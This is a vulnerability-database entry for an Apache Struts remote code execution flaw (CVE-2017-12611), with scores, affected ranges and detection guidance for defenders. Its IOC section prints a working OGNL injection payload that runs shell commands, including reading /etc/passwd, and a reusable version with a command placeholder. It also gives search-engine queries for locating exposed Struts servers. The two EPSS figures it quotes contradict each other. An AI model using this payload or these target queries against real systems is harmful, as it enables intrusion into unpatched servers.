cbcvebase.
CVE-2017-12611
published 2017-09-20

CVE-2017-12611: In Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1, using an unintentional expression in a Freemarker tag instead of string literals can lead to a…

PriorityP187critical9.8CVSS 3.0
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
88.02%
99.7th percentile
In Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1, using an unintentional expression in a Freemarker tag instead of string literals can lead to a RCE attack.

Affected

89 ranges· showing 25
VendorProductVersion rangeFixed in
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts
apachestruts

Detection & IOCsextracted from sources · hover to see the quote

url{{BaseURL}}/?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D
command%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='<COMMAND>').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
snort
Snort SIDs 44327 through 44330
  • Exploit is delivered via HTTP POST to a URL parameter (e.g. 'name') containing a URL-encoded OGNL expression starting with %25%7B (%{). Detect POST requests with OGNL expression patterns in query string parameters targeting Apache Struts endpoints.
  • Shodan/FOFA queries for exposed Apache Struts instances can identify potential targets: search for http.html:'apache struts', http.title:'struts2 showcase', http.html:'struts problem report', body='struts problem report', title='struts2 showcase', body='apache struts', or Google intitle:'struts2 showcase'.
  • CVE-2017-12611 (Apache Struts Freemarker RCE) was the second most exploited CVE against Linux systems in 2022 at 19.5% of exploitation attempts, indicating active in-the-wild exploitation. Prioritize detection on internet-facing Struts deployments.
  • CVE-2017-12611 is included in the NadMesh botnet's exploit chain at 4.15% of observed traffic. Monitor for automated scanning and exploitation attempts from botnet infrastructure.
  • The exploit payload uses ProcessBuilder with /bin/bash -c or cmd.exe /c to execute OS commands. Detect child process spawning from Java application server processes (e.g. Tomcat/Struts) invoking bash or cmd.exe.
  • Successful exploitation response contains /etc/passwd content. A regex match for 'root:.*:0:0:' in HTTP responses from Struts endpoints indicates confirmed RCE.
  • ·The Nuclei template uses a single POST request for detection. The exploit payload targets the 'name' query parameter but the actual vulnerable parameter name varies by application deployment — adjust accordingly.
  • ·Snort SID range 44327–44330 covers possible exploitation attempts; confirm these SIDs are present and up-to-date in your Snort ruleset before relying on them for detection.
  • ·The EPSS score for this CVE is 0.94228 (99.926th percentile), indicating very high probability of exploitation in the wild. Treat any unpatched Struts 2.0.0–2.3.33 or 2.5–2.5.10.1 instance as actively targeted.

CVSS provenance

nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
vulncheck9.8CRITICAL
vendor_redhat9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.